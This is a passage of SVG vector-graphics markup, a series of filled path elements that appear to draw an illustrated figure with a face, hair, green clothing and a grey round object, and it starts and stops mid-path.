275.71l-1-16.58c-8.86-10.43-14-22.48-15.41-29.36-1-5.21-2.14-41.11-2.77-65.19l-12.52.22s-1.12-25.37 11-48.07a106.78 106.78 0 0 0-14.2 30.79c-4.13 14.82-11.94 76.48-11.94 76.48-5.24 1.44-9.93-1.24-16-7.81-.47 8.53 1.2 15.66 7.45 19.85-4.52 3.77-13.28-12.06-17.72-17.84 1.37 14.13.46 60.51 65.75 75.25l.86-.35v.54c.7.16 1.41.3 2.12.45l1.76-1.15 3.53-2.3z"/><path fill="#ddbf94" d="M346.89 295.27l-.26-5.44-.31-14.83a135.1 135.1 0 0 1-10 15.23c-1.67 2.2-3.38 4.33-5.14 6.37-.18.21-.38.38-.57.58-11.09 12.08-31.85 12.17-43.13 3.26a25.11 25.11 0 0 1-3.7-3.73q-1.61-1.91-3.23-4.26a144.48 144.48 0 0 1-9.64-16.75l.88 14.94-3.53 2.3-1.76 1.15-2.09 1.36.59 37.61a109 109 0 0 0 11.75 12.13 39 39 0 0 1 44.74 14.09c12.43-3.41 21.28-13.2 27.32-23.21z"/><path fill="#c79367" d="M346.11 265c-8.36 7.42-19.45 12.74-34 13.76-18.4 1.3-32.49-8.18-42.17-19.58l1 16.58a144.48 144.48 0 0 0 9.64 16.75q1.62 2.35 3.23 4.26a25.11 25.11 0 0 0 3.7 3.73c11.28 8.91 32 8.82 43.13-3.26.19-.2.39-.37.57-.58 1.76-2 3.47-4.17 5.14-6.37a135.1 135.1 0 0 0 10-15.23z"/><path fill="#7e9358" d="M349.67 354.67l-.87-18.59c-6 10-14.89 19.8-27.32 23.21a39.92 39.92 0 0 1-14.87 59.2L303.28 434c2.82 3.69 6.12 8.11 6.35 11.23.45 6.16-3.28 13.13-4.52 17.68s-14 3.3-14 3.3a17.37 17.37 0 0 1-2.06 19.85l-11.12.82s-2.64 9.15-10.39 9.9l.05 3.21h88.85zM265 333.07l.29 18.53a39.07 39.07 0 0 1 11.46-6.4A109 109 0 0 1 265 333.07z"/><path fill="#ddbf94" d="M369.62 162.55l-26.19.44c2.19-6.85.43-18.77.43-18.77l-2.49 18.87-7.44.12-3.23-18.56-2.7 18.66-52.32.87-1.68-29.41-4.62 29.51-17.61.3c.63 24.08 1.73 60 2.77 65.19 1.38 6.88 6.55 18.93 15.41 29.36 9.68 11.4 23.77 20.88 42.17 19.58 14.57-1 25.66-6.34 34-13.76 11.85-10.52 18.19-25.28 21.07-38.06 2.72-12 2.81-41.77 2.43-64.34zm-75.8 47.24c.27-1.29 2.26-4.41 4.1-4.29 2.68.07-.77 2.9-1.1 4.07a2.79 2.79 0 0 0 1.89 3.13 7.75 7.75 0 0 0 4 0 8.29 8.29 0 0 1 4 .12c2.26.92 3.92 3.58 6.18 3.4s3.5-2.88 5.64-3.62a15.53 15.53 0 0 1 3.54-.28 2.94 2.94 0 0 0 2.81-1.81 6.26 6.26 0 0 0-.15-2.11c-.07-.69.12-1.56.77-1.81a1.7 1.7 0 0 1 1.51.4 4.55 4.55 0 0 1 .93 1.12 4.74 4.74 0 0 1-1.65 6.5c-2.08 1-4.41.25-6.8 1.24s-3.77 3.75-6.25 4.47a8 8 0 0 1-6.63-2 12.67 12.67 0 0 0-6.33-3.15 16.48 16.48 0 0 1-4 0 4.38 4.38 0 0 1-2.46-5.38zm-31.47-27l.08-.08-.2.08c-.52-1.12 3.25-7.15 7.82-7.92 7-1.17 18.39 9.38 23.35 14.34-.74-.39-1.46-.82-2.18-1.26.31.29.61.57.91.87-9.08 3.97-18.39 6.41-29.78-6zm7.09 68.21c.09.38.12.64 0 .61zm39.62-5.24a105.19 105.19 0 0 1-13.4-1.34 23 23 0 0 1-5.14-12.84 50.13 50.13 0 0 1-5.43-1.22c6.77-1 17-4.59 24.66-4.32s18.82 3.78 24.2 4.87c-1.86.3-3.47.15-5.33.45a18.93 18.93 0 0 1-6 14.13c-5.54.06-10.62.3-13.56.3zm47.18-62.63c-5.66 11.35-16.23 13.11-31.17 6.43 5-5 16.38-15.51 23.35-14.34 4.58.78 8.37 6.83 7.82 7.94z"/><path fill="#3f622e" d="M410.8 420.51c1-2.25 2.11-4.52 3.22-6.75-.37-3.75-2.14-14.75-4.49-28l-4 17.66-21.53-5a30.75 30.75 0 0 1-3.9 3.4 13.05 13.05 0 0 1-10.38 1.44l-.64-.17 1.78-7.7h.1l-1.71-.39a8.12 8.12 0 0 1-6.06-9.73l5.12-22.11a8.11 8.11 0 0 1 9.63-6l20.1 4.66 5-7.66.58.13c-2.6-13-5.14-24.49-6.94-30.31a14.4 14.4 0 0 0-1.51-3.75c-3-3.9-28.45-18.87-41.24-26.26-4.37-2.52-7.28-4.17-7.28-4.17l.26 5.44 1.91 40.81.87 18.59L356.47 500h30.28c4.68-6.92 19.51-29.18 19.15-33.34-.42-4.94-19.78-23-19.78-23s17.29-14.27 24.68-23.15zm-143.23 76.28a10.4 10.4 0 0 1-2 0c-3-.26-7-.52-11.1-.76-8.84-.5-18.08-.88-18.08-.88s-1.63-.32-4.14-.87c1.17 2.21 2.21 4.16 3 5.69h32.35zm-3.17-201.33l2.09-1.36c-.71-.15-1.42-.29-2.12-.45v-.54l-.86.35c-15.55 6.29-39 18.71-41 22.75a10.22 10.22 0 0 0-.54 1.9c-2.75 12.36-10.17 76.39-9.39 83.26.26 2.28 3 6.34 6.56 10.86a12.13 12.13 0 0 1 1.21-4.66c3.3-6.15 21.39-15.64 21.39-15.64l10 .78c-.24-.91-.44-1.84-.61-2.78v-.16c-.08-.43-.15-.87-.22-1.31a39.31 39.31 0 0 1-.45-4.52.67.67 0 0 1 .06.12v-1.41a39.79 39.79 0 0 1 13.87-30.25c.32-.27.64-.54 1-.8l-.39-18.53z"/><path fill="#341644" d="M353.36 92.44c-10.08-6.66-23.47-10.92-41.27-10.73-34 .36-52.2 16.84-61.89 35-12.1 22.7-11 48.07-11 48.07l12.52-.22 17.61-.3 4.67-29.49 1.71 29.41 52.32-.87 2.7-18.66 3.23 18.56 7.44-.12 2.49-18.87s1.76 11.92-.43 18.77l26.19-.44 14.12-.23s2.81-47.94-30.41-69.88zm9 26.25a73.8 73.8 0 0 1-1.75 10.46c-2.63 9.66-6.16 1.2-11-6.1a35.18 35.18 0 0 0-3.49-4.59c-.43.73-.83 1.49-1.22 2.27-5.55 11.26-6.68 25.78-21.12-3.36l-.15.12c-1.83 3.63-7.57 39.17-23.7 1.94-2.55 34.22-8.24 21-20.65.32-8.43 13.89-13.64 22.26-17.39 9.73a61.88 61.88 0 0 1-1.54-6.82c-3.23 3.37-10.15 15.21-9.31 10.52 3.18-17 12.71-29.11 17.37-12.73 4.66-12.79 12.84-14.15 18.38-7.07a23.38 23.38 0 0 1 3.46 6.57 57.17 57.17 0 0 1 1-7.84c1.94-9.15 6.1-8.39 12.05-1.61A123.57 123.57 0 0 1 313 124c-1.79-3.13-.09-8.66 3.16-12.57 4.62-5.59 12.4-7.89 17.74 4.72.27.65.53 1.32.79 2 .35-.49.67-.92 1-1.37 8.88-12 14.11-11.12 20.91-.59 4.19-13.38 11.64-.13 19.83 14.15 5.4 9.22-6.99-3.61-14.09-11.65z"/><path fill="#ae5d9e" d="M376.47 130.33c-8.19-14.28-15.64-27.53-19.83-14.15-6.8-10.53-12-11.42-20.91.59-.34.45-.66.88-1 1.37-.26-.72-.52-1.39-.79-2-5.34-12.61-13.12-10.31-17.74-4.72-3.25 3.91-4.95 9.44-3.16 12.57a123.57 123.57 0 0 0-9.73-13.45c-5.95-6.78-10.11-7.54-12.05 1.61a57.17 57.17 0 0 0-1 7.84 23.38 23.38 0 0 0-3.46-6.57c-5.54-7.08-13.72-5.72-18.38 7.07-4.66-16.38-14.19-4.3-17.37 12.73-.84 4.69 6.08-7.15 9.31-10.52a61.88 61.88 0 0 0 1.54 6.82c3.75 12.53 9 4.16 17.39-9.73 12.41 20.73 18.1 33.9 20.65-.32 16.13 37.23 21.87 1.69 23.7-1.94l.15-.12c14.44 29.14 15.57 14.62 21.12 3.36.39-.78.79-1.54 1.22-2.27a35.18 35.18 0 0 1 3.49 4.59c4.8 7.3 8.33 15.76 11 6.1a73.8 73.8 0 0 0 1.75-10.46c7.07 8 19.46 20.83 14.1 11.6z"/><path fill="#3f622e" d="M213.26 489.17c-4.16-1.47-7.62-3.08-9-4.69-4.52-5.33-7-37-7-37s3.35-2.45 7.38-5.66c-1.22-3-2.46-4.92-3.63-5.21-1.74-.43-5.05.27-9 1.65-2.54-18.68-3.88-33.38-9.07-36.15a26.31 26.31 0 0 0-2.88-1.07c-3.37-1-8-1.54-4.09 5.17a55.12 55.12 0 0 1 2.58 5.17c3.73 8.39 7.89 21 10.15 28.12-.9.36-1.82.75-2.75 1.15-2.74-2.56-6.47-6-10.34-9.24-2.31-2-4.66-3.86-6.89-5.52-4.5-3.35-8.48-5.68-10.45-5.29-6.18 1.22-9 9.06-.82 7.82 2.27-.34 6 1.1 10.3 3.36 2.3 1.22 4.75 2.68 7.19 4.23 2.95 1.89 5.88 3.89 8.52 5.77a109.8 109.8 0 0 0-10.16 5.43 44.56 44.56 0 0 0-9 6.76 8.42 8.42 0 0 0-1.52 2.1c-.57 1.2-.44 3.74.18 7.07 1.78 9.51 7.75 25.64 14.08 36.86h34.3a17.29 17.29 0 0 0 1.2-2.49c.6-1.57.81-4.51.72-8.34zm213.98-94.88c-3.11 1-8.38 9.73-13.22 19.47-1.11 2.23-2.19 4.5-3.22 6.75-4.63 10.08-8.2 19.59-7.95 21.21.49 3.22 6.95 49.11 8.24 58.28h5.08l-7-53.24a107.63 107.63 0 0 0 17.55-12.41c5.48-5.51 4.66-14.32-1.09-7.45s-16.46 11.82-17 12.64 16.45-32.07 22.75-40.58 2.89-6.85-4.14-4.67z"/><path fill="#c79367" d="M296.3 215.18a16.48 16.48 0 0 0 4 0 12.67 12.67 0 0 1 6.33 3.15 8 8 0 0 0 6.63 2c2.48-.72 3.87-3.48 6.25-4.47s4.72-.2 6.8-1.24a4.74 4.74 0 0 0 1.65-6.5A4.55 4.55 0 0 0 327 207a1.7 1.7 0 0 0-1.51-.4c-.65.25-.84 1.12-.77 1.81a6.26 6.26 0 0 1 .15 2.11 2.94 2.94 0 0 1-2.81 1.81 15.53 15.53 0 0 0-3.54.28c-2.14.74-3.38 3.45-5.64 3.62s-3.92-2.48-6.18-3.4a8.29 8.29 0 0 0-4-.12 7.75 7.75 0 0 1-4 0 2.79 2.79 0 0 1-1.89-3.13c.33-1.17 3.78-4 1.1-4.07-1.84-.12-3.83 3-4.1 4.29a4.38 4.38 0 0 0 2.49 5.38z"/><path fill="#bf764c" d="M309.75 226.07c-7.64-.27-17.89 3.35-24.66 4.32a50.13 50.13 0 0 0 5.43 1.22c.75 6.77 3.43 12.95 9.58 16.53a18.88 18.88 0 0 0 3.93 1.67 19.11 19.11 0 0 0 5.87.87 19.32 19.32 0 0 0 4.2-.54 19 19 0 0 0 14.52-18.75c1.86-.3 3.47-.15 5.33-.45-5.38-1.09-16.55-4.59-24.2-4.87zm-.42 15.54a16 16 0 0 1-15.76-10.25 90.81 90.81 0 0 1 32.09.32 19 19 0 0 1-16.33 9.93z"/><path fill="#fff" d="M325.66 231.68a90.81 90.81 0 0 0-32.09-.32 16 16 0 0 0 15.76 10.25 19 19 0 0 0 16.33-9.93zM291.22 188c-2.46-1.52-4.8-3.24-7.24-4.8a6.7 6.7 0 0 1 .19 1.5 6.58 6.58 0 0 1-13.16 0 6.65 6.65 0 0 1 .08-.78 2.12 2.12 0 0 0 1.81 1 2.16 2.16 0 1 0 0-4.32 2 2 0 0 0-.55.11 6.71 6.71 0 0 1 1.82-1.66c-6.59-.92-9.92 3-11.74 3.66l-.08.08c11.39 12.41 20.7 10 29.78 6-.3-.24-.6-.52-.91-.79zm50.11-7.88a6.57 6.57 0 1 1-7.35 8.32 1.78 1.78 0 0 0 .52.11 2.16 2.16 0 1 0 0-4.32 1.69 1.69 0 0 0-.39.08 5.87 5.87 0 0 1 .35-.76c-3.14 2-6.08 4.32-9.39 6 14.94 6.68 25.51 4.92 31.17-6.43-2.01-.47-6.07-5.86-14.91-3z"/><path fill="#ddbf94" d="M303.28 434l-.65 3-11.51 29.22-22.73-10.08c.66-3.71 2.07-7.71 5.33-10.66l-41-5.17 1.47-11.31 2.26-17.48 15.79-17.11c-.18-.58-.34-1.16-.49-1.75l-10-.78s-18.09 9.49-21.39 15.64a12.13 12.13 0 0 0-1.21 4.66c-.58 6.25 1.3 14.37-2.89 19.19a96.64 96.64 0 0 1-11.55 10.4c-4 3.21-7.38 5.66-7.38 5.66s2.48 31.67 7 37c1.36 1.61 4.82 3.22 9 4.69a176.07 176.07 0 0 0 19 5.14 131.15 131.15 0 0 0 22.9 1.79c3.87.23 7.62.47 10.42.72a10.4 10.4 0 0 0 2 0c7.75-.75 10.39-9.9 10.39-9.9l11.12-.82a17.37 17.37 0 0 0 2.06-19.85s12.73 1.24 14-3.3 5-11.52 4.52-17.68c-.34-3.1-3.64-7.52-6.46-11.22z"/><path fill="#d13585" d="M289.73 422.34h-1.34a38.84 38.84 0 0 1-22.12-7.81 39.8 39.8 0 0 1-13.14-17.41c-.33-.86-.65-1.73-.92-2.62l-15.79 17.11 17 6.54 13 5 36.22 13.94.65-3 3.33-15.52a38.72 38.72 0 0 1-16.89 3.77z"/><path fill="#bf1f6a" d="M266.41 423.11l-13-5-16.99-6.54-2.26 17.48-1.47 11.31.38.16 20.76 9.21 13.09 5.8 24.2 10.74 11.51-29.21-36.22-13.95z"/><path fill="#959599" d="M307.1 352.8c-2.51.34-5 .72-7.57 1.06a39.1 39.1 0 0 1 4.2 5.86c.26.44.52.89.76 1.34 1.92-.29 3.52-.46 4.86-.58l3-.24a62.43 62.43 0 0 0-5.16-7.44z"/><path fill="#959599" d="M289.73 343a39 39 0 0 0-24.45 8.63c-.33.26-.65.53-1 .8a39.79 39.79 0 0 0-13.87 30.25v1.41a40.58 40.58 0 0 0 2.54 4.4c.66 1 1.36 1.94 2.09 2.86.49.6 1 1.2 1.51 1.77a38.61 38.61 0 0 0 5 4.59 11.8 11.8 0 0 1 1-1 10.13 10.13 0 0 1 .8-.67c-.32-.72-.62-1.47-.89-2.19a53 53 0 0 1-2.32-8c-.05-.22-.12-.44-.16-.66a79.66 79.66 0 0 0-3.2 3.4 35.31 35.31 0 0 1 3-4.49 47.93 47.93 0 0 1-.72-11.47l-4.15 2.86c1.37-1.57 2.76-3.06 4.22-4.5a39.62 39.62 0 0 1 1.34-7.24v5.95c1.6-1.53 3.28-3 5-4.36s3.23-2.49 4.92-3.63a60.92 60.92 0 0 1-.1-6.48c0-.86 0-1.72.1-2.58.14.95.31 1.9.46 2.84.31 1.8.63 3.59 1 5.38 1.55-1 3.15-1.87 4.78-2.69a59.39 59.39 0 0 1 6.17-2.7q-2-4-4.4-7.77a49.32 49.32 0 0 1 5.74 7.3c1.4-.48 2.82-.89 4.25-1.27a57.82 57.82 0 0 1 7.39-1.46 34.09 34.09 0 0 0-9.93-7.64 28.67 28.67 0 0 1 12.19 7.44 75.2 75.2 0 0 1 8.36-.35c-1.1-1.37-2.28-2.72-3.49-4.05a.35.35 0 0 1-.23.23c-.1 0-.23 0-.33-.62a1.75 1.75 0 0 1 0-.23l-.47-.51c.17.11.32.24.48.36.06-.22.23-.22.32-.24s.19.1.29.62v.08a49.73 49.73 0 0 1 5.29 4.44c1.37.05 2.76.15 4.12.3l-3.4.42a47.24 47.24 0 0 1 5.93 7.44l.18.28H319l-3.53.72a41.15 41.15 0 0 1 5.53 14.86 9.13 9.13 0 0 1 2.7.38 39 39 0 0 0 1.1-7.21c.05-.92.08-1.84.07-2.78V365a39.9 39.9 0 0 0-3.39-5.67A39.12 39.12 0 0 0 289.73 343z"/><path fill="#959599" d="M297.37 354.38c-1.8.36-3.58.78-5.36 1.25-2.15.56-4.29 1.2-6.4 1.93a69.27 69.27 0 0 1 3.28 6.28c.13.26.27.52.39.79l.8-.24a96.19 96.19 0 0 1 11.21-2.81h.55c-.44-.92-.95-1.79-1.46-2.68a41.8 41.8 0 0 0-3-4.52zm-25.46 18.44c-.55-2.75-1-5.33-1.29-8.16-1.81 1.08-3.44 2.12-5.08 3.23s-3.29 2.29-5.12 3.62h.1a64.68 64.68 0 0 0 1.34 10v-.13c1.21-1.31 2.5-2.54 3.83-3.73a55.75 55.75 0 0 1 6.22-4.83zm36.31 23.51a100.76 100.76 0 0 0-1.17-16.28q-5.7 1.77-11.34 3.73a112.39 112.39 0 0 1 2.29 14.37c.06.57.12 1.13.16 1.7.8-.25 1.59-.53 2.38-.79 2.58-.83 5.16-1.67 7.73-2.56zm20.45-18.61c0-.16 0-.32-.07-.49.03.17.05.33.07.49zm-.53-3.26c0-.17-.08-.34-.12-.5.04.17.09.33.12.5zm.46 2.77z"/><path fill="#959599" d="M328.67 377.72c.13 1 .22 2.06.26 3.11a39.29 39.29 0 0 1-37.7 40.81 41.35 41.35 0 0 1-4.6-.09 39.29 39.29 0 0 1-33.5-24.74c-.32-.79-.6-1.6-.86-2.42-.18-.55-.35-1.11-.5-1.67-.25-.92-.48-1.85-.66-2.79.17.94.37 1.87.61 2.78.15.59.31 1.17.49 1.75.27.89.59 1.76.92 2.62a39.8 39.8 0 0 0 13.14 17.41 38.84 38.84 0 0 0 22.12 7.81h1.34a38.72 38.72 0 0 0 16.88-3.85 39.69 39.69 0 0 0 22.39-35.8 40.14 40.14 0 0 0-.33-4.93z"/><path fill="#959599" d="M321.12 376.3a44 44 0 0 1 .37 6.38 38.83 38.83 0 0 0 2.22-6.41 9.77 9.77 0 0 0-2.59.03zM275 374.07c1.39 5.08 2.58 8.93 3.95 13 4-1.79 8.51-3.57 13.47-5.26-1.24-4.67-2.53-9-4.24-13.7a94.55 94.55 0 0 0-13.18 5.96zm31.7 3.57h.3c-.36-2-.84-4-1.39-6a66.23 66.23 0 0 0-2.75-8c-2.81.66-6 1.56-9 2.51-1.15.37-2.29.74-3.37 1.11h-.05c7.1 17.03-.09 14.18 16.26 10.38zm10.72-4.39a46.58 46.58 0 0 0-4.59-11.87c-2.48.52-5 1.05-7.44 1.62a59.47 59.47 0 0 1 3.5 10.13c.32 1.3.61 2.6.84 3.91a75.36 75.36 0 0 1 8.27-1.24c-.16-.86-.37-1.7-.58-2.55zm-6.85 22.31l2.71-1a40 40 0 0 0 5.32-6.56 50.28 50.28 0 0 0-.51-11c-3.2.67-5.85 1.49-8.16 2.18.15 1.84.54 16.46.54 16.46zm14.3-30.56l.09.17a1.21 1.21 0 0 1-.09-.2zm.13.13c.48 1 .92 2 1.32 3A39.21 39.21 0 0 1 328 374a39.07 39.07 0 0 0-1.73-5.82c-.38-1.07-.83-2.06-1.27-3.05zm-44.91-5.39a76.65 76.65 0 0 0-7.84 3.95c.95 4.3 1.52 6.45 1.87 7.75a69.75 69.75 0 0 1 12.83-6c-.4-1.07-.81-2.08-1.22-3.06-.61-1.47-1.23-2.87-1.84-4.19-1.28.47-2.55 1-3.8 1.55zm-13.97 35.74a68 68 0 0 0 3.5 7 39.28 39.28 0 0 0 8.2 2.65c1.57-.31 3.14-.66 4.68-1.06a133.88 133.88 0 0 1-5.63-13.5c-3.33 1.34-7 2.93-10.27 4.62zm30.61 7.92v-.17c-3.46 1.09-7 2-10.5 2.73a38.83 38.83 0 0 0 10.63-1.63c-.05-.33-.08-.62-.13-.93zm-12.17.22c4.3-1.06 7.82-2.13 11.59-3.3 0-.31-.21-1.33-.52-3-.48-2.64-1.33-6.91-2.75-12.67-4.54 1.61-8.69 3.13-13.38 5 .23.69.48 1.43.73 2.15 1.31 3.88 2.81 8.14 4.23 11.92zm14.07.14a39.32 39.32 0 0 0 6.56-3q1.23-.7 2.4-1.5c-1 .43-2.07.84-3.11 1.24q-2.94 1.14-5.92 2.13c.03.37.04.76.07 1.13zM265 392.78h.1a11.46 11.46 0 0 1 .47 1.44l.28-.2h.07a77.33 77.33 0 0 1 7.91-4.53c.74-.38 1.46-.79 2.22-1.14-1.52-4.54-2.71-8.83-3.63-12.88a62.73 62.73 0 0 0-6.72 4.59c-1.25 1-2.48 2-3.65 3 .18.8.42 1.58.62 2.37a69.86 69.86 0 0 0 2.33 7.35zm-2.15 4.72c-.27.17-.51.38-.76.57.41.31.82.61 1.24.9.72.5 1.47 1 2.22 1.44-.62-1.15-1.22-2.32-1.76-3.51l-.77.47z"/><path fill="#666" d="M328.93 380.83a39.49 39.49 0 0 0-2.65-12.68 41.84 41.84 0 0 0-1.41-3.22v1.29c0 .94 0 1.86-.07 2.78a39 39 0 0 1-1.08 7.21c.13 0 .26.05.38.09h-.39a38.83 38.83 0 0 1-2.22 6.41 43.29 43.29 0 0 1-1 8.93 27.28 27.28 0 0 0 3.51-1.74 21.2 21.2 0 0 1-3.7 3 40.38 40.38 0 0 1-5.61 13.1 57.78 57.78 0 0 0 3.25-11.67 73.31 73.31 0 0 1-7.44 3.8h-.17a36.06 36.06 0 0 1-4.27 14.57 45.93 45.93 0 0 0 2.14-10.81c.07-1 .13-1.93.14-2.89l-.75.3q-1.17.8-2.4 1.5a39.32 39.32 0 0 1-6.56 3A57.94 57.94 0 0 1 298 417a103.09 103.09 0 0 0-1.18-12.65 38.83 38.83 0 0 1-10.59 1.65l-.72.17a60.14 60.14 0 0 0 4.32 9.58c-1.49-.77-5.21-7.72-6-9.31a59.75 59.75 0 0 1-10.92 1.12 45.84 45.84 0 0 0 8.56 9.41 32.72 32.72 0 0 1-11.31-9.56 11.83 11.83 0 0 1-4-.89 4 4 0 0 1-.47-.22c-.29-.13-.59-.27-.87-.43.26.08.53.14.8.21l.53.11a12.18 12.18 0 0 0 3.19.2 50 50 0 0 1-3.26-5c-.18-.31-.35-.62-.52-.93-.75-.46-1.5-.94-2.22-1.44-.42-.29-.83-.59-1.24-.9a11 11 0 0 0-2.22 2.2 11.79 11.79 0 0 1 1.72-2.59 38.61 38.61 0 0 1-5-4.59c-.52-.57-1-1.17-1.51-1.77-.73-.92-1.43-1.87-2.09-2.86a40.58 40.58 0 0 1-2.54-4.4.67.67 0 0 0-.06-.12 39.31 39.31 0 0 0 .45 4.52c.07.44.14.88.22 1.31v.16c.18.94.41 1.87.66 2.79.15.56.32 1.12.5 1.67.26.82.54 1.63.86 2.42a39.29 39.29 0 0 0 33.5 24.74 41.35 41.35 0 0 0 4.6.09 39.29 39.29 0 0 0 37.7-40.81z"/><path fill="#666" d="M318.6 388a40 40 0 0 1-5.32 6.55c1.6-.58 3.09-1.13 4.81-1.73.26-1.57.41-3.18.51-4.82zm-46.77 18.16h.1c2-.25 3.94-.59 5.89-1a39.28 39.28 0 0 1-8.2-2.65c.63 1.11 1.29 2.22 2 3.3z"/><path fill="#280415" d="M270.05 174.9c-4.57.77-8.34 6.8-7.82 7.92l.2-.08c1.82-.69 5.15-4.58 11.74-3.66a6.48 6.48 0 0 1 2.78-.91 4.48 4.48 0 0 1 .64-.07 6.63 6.63 0 0 1 6.39 5.08c2.44 1.56 4.78 3.28 7.24 4.8.72.44 1.44.87 2.18 1.26-4.96-4.96-16.4-15.51-23.35-14.34z"/><path fill="#280415" d="M284 183.18a6.63 6.63 0 0 0-6.39-5.08 4.48 4.48 0 0 0-.64.07 6.48 6.48 0 0 0-2.78.91 6.71 6.71 0 0 0-1.82 1.66 2 2 0 0 1 .55-.11 2.16 2.16 0 1 1 0 4.32 2.12 2.12 0 0 1-1.81-1 6.65 6.65 0 0 0-.08.78 6.58 6.58 0 0 0 13.16 0 6.7 6.7 0 0 0-.19-1.55zm64.42-7.93c-7-1.17-18.39 9.38-23.35 14.34 3.31-1.72 6.25-4 9.39-6a6.49 6.49 0 0 1 5.8-3.54 6.26 6.26 0 0 1 1.07.11c8.84-2.86 12.9 2.53 14.91 3 .55-1.11-3.24-7.16-7.82-7.91z"/><path fill="#280415" d="M341.33 180.12a6.26 6.26 0 0 0-1.07-.11 6.51 6.51 0 0 0-2.54.51c-.41.23-.83.46-1.26.72a6.47 6.47 0 0 0-2 2.31 5.87 5.87 0 0 0-.35.76 1.69 1.69 0 0 1 .39-.08 2.16 2.16 0 1 1 0 4.32 1.78 1.78 0 0 1-.52-.11 6.56 6.56 0 1 0 7.35-8.32z"/><path fill="#393a3c" d="M303 347.26c-.1-.52-.17-.64-.29-.62s-.26 0-.32.24l.61.46zm-.62 0c.1.62.23.65.33.62a.35.35 0 0 0 .23-.23l-.56-.62a1.75 1.75 0 0 0 0 .23zm-.47-.74l.47.51a.71.71 0 0 1 0-.15c-.15-.12-.3-.25-.47-.36z"/><path fill="#393a3c" d="M321.49 382.68a44 44 0 0 0-.37-6.38 9.77 9.77 0 0 1 2.59 0h.39c-.12 0-.25-.06-.38-.09a9.13 9.13 0 0 0-2.7-.38 41.15 41.15 0 0 0-5.51-14.89l3.53-.72h-3.92l-.18-.28a47.24 47.24 0 0 0-5.94-7.44l3.4-.42c-1.36-.15-2.75-.25-4.12-.3a49.73 49.73 0 0 0-5.29-4.44 1.13 1.13 0 0 1-.06.31c1.21 1.33 2.39 2.68 3.49 4.05a75.2 75.2 0 0 0-8.36.35 28.67 28.67 0 0 0-12.19-7.44 34.09 34.09 0 0 1 9.93 7.64 57.82 57.82 0 0 0-7.39 1.46c-1.43.38-2.85.79-4.25 1.27a49.32 49.32 0 0 0-5.74-7.3q2.4 3.78 4.4 7.77a59.39 59.39 0 0 0-6.17 2.7 56.16 56.16 0 0 0-4.78 2.69c-.37-1.79-.69-3.58-1-5.38-.15-.94-.32-1.89-.46-2.84-.07.86-.07 1.72-.1 2.58a60.92 60.92 0 0 0 .1 6.48q-2.54 1.71-4.92 3.63a71.576 71.576 0 0 0-5 4.36v-5.95a39.62 39.62 0 0 0-1.34 7.24 82.098 82.098 0 0 0-4.22 4.5l4.15-2.86a47.93 47.93 0 0 0 .72 11.47 35.31 35.31 0 0 0-3 4.49c1-1.17 2.11-2.31 3.2-3.4 0 .22.11.44.16.66a53 53 0 0 0 2.32 8c.27.72.57 1.47.89 2.19a10.13 10.13 0 0 0-.8.67 11.38 11.38 0 0 0-2.72 3.59 11 11 0 0 1 2.22-2.2c.25-.19.49-.4.76-.57l.17-.13.77-.47a57.475 57.475 0 0 0 2.28 4.44 50 50 0 0 0 3.26 5 12.18 12.18 0 0 1-3.19-.2l-.53-.11c-.27-.07-.54-.13-.8-.21.28.16.58.3.87.43a4 4 0 0 0 .47.22 11.83 11.83 0 0 0 4 .89 32.72 32.72 0 0 0 11.31 9.56 45.84 45.84 0 0 1-8.56-9.41 59.75 59.75 0 0 0 10.92-1.12c.82 1.59 4.54 8.54 6 9.31a60.14 60.14 0 0 1-4.32-9.58l.72-.17c3.54-.74 7-1.64 10.5-2.73v.17c0 .31.08.62.13.93A103.09 103.09 0 0 1 298 417a57.94 57.94 0 0 0 .59-13.22c0-.37 0-.75-.07-1.13q3-1 5.92-2.13c1-.4 2.08-.81 3.11-1.24l.75-.3c0 1-.07 1.93-.14 2.89a45.93 45.93 0 0 1-2.14 10.81 36.06 36.06 0 0 0 4.27-14.57h.17a73.31 73.31 0 0 0 7.44-3.8 57.78 57.78 0 0 1-3.21 11.69 40.38 40.38 0 0 0 5.56-13.08 21.2 21.2 0 0 0 3.7-3 27.28 27.28 0 0 1-3.42 1.71 43.29 43.29 0 0 0 .96-8.95zm-4.07-9.43c.21.85.42 1.69.57 2.55h.01a75.36 75.36 0 0 0-8.31 1.24c-.23-1.31-.52-2.61-.84-3.91a59.47 59.47 0 0 0-3.5-10.13c2.48-.57 5-1.1 7.44-1.62a46.58 46.58 0 0 1 4.63 11.87zM307 377.64h-.32c-16.35 3.8-9.16 6.65-16.28-10.4h.05c1.08-.37 2.22-.74 3.37-1.11 3-.95 6.23-1.85 9-2.51a66.23 66.23 0 0 1 2.75 8c.61 1.98 1.09 3.99 1.43 6.02zm-14.69 4.17c-5 1.69-9.5 3.47-13.47 5.26a223.58 223.58 0 0 1-3.95-13 94.55 94.55 0 0 1 13.13-6c1.78 4.75 3.07 9.07 4.31 13.74zm14.77-29a62.43 62.43 0 0 1 5.16 7.44l-3 .24c-1.34.12-2.94.29-4.86.58-.24-.45-.5-.9-.76-1.34a39.1 39.1 0 0 0-4.2-5.86c2.67-.35 5.17-.73 7.68-1.07zM292 355.63c1.78-.47 3.56-.89 5.36-1.25h.05a41.8 41.8 0 0 1 3 4.52c.51.89 1 1.76 1.46 2.68h-.55a96.19 96.19 0 0 0-11.21 2.81l-.8.24c-.12-.27-.26-.53-.39-.79a69.27 69.27 0 0 0-3.28-6.28c2.08-.73 4.22-1.37 6.36-1.93zm-11.92 4.11c1.25-.55 2.52-1.08 3.8-1.56a115.694 115.694 0 0 1 3.06 7.25 69.75 69.75 0 0 0-12.83 6c-.35-1.3-.92-3.45-1.87-7.75a76.65 76.65 0 0 1 7.85-3.94zm-14.55 8.15c1.64-1.11 3.27-2.15 5.08-3.23.32 2.83.74 5.41 1.29 8.16a55.75 55.75 0 0 0-6.22 4.81c-1.33 1.19-2.62 2.42-3.83 3.73v.13a64.68 64.68 0 0 1-1.34-10h-.1c1.84-1.31 3.48-2.49 5.13-3.6zm-.41 24.89H265a69.86 69.86 0 0 1-2.33-7.36c-.2-.79-.44-1.57-.62-2.37 1.17-1.06 2.4-2.06 3.65-3a62.73 62.73 0 0 1 6.72-4.59c.92 4.05 2.11 8.34 3.63 12.88-.76.35-1.48.76-2.22 1.14A77.33 77.33 0 0 0 266 394h-.07l-.28.2a11.46 11.46 0 0 0-.52-1.42zm6.8 13.38h-.1l-.22-.33c-.7-1.08-1.36-2.19-2-3.3a68 68 0 0 1-3.5-7l.48-.24c3.25-1.69 6.94-3.28 10.27-4.62a133.88 133.88 0 0 0 5.63 13.5c-1.54.4-3.11.75-4.68 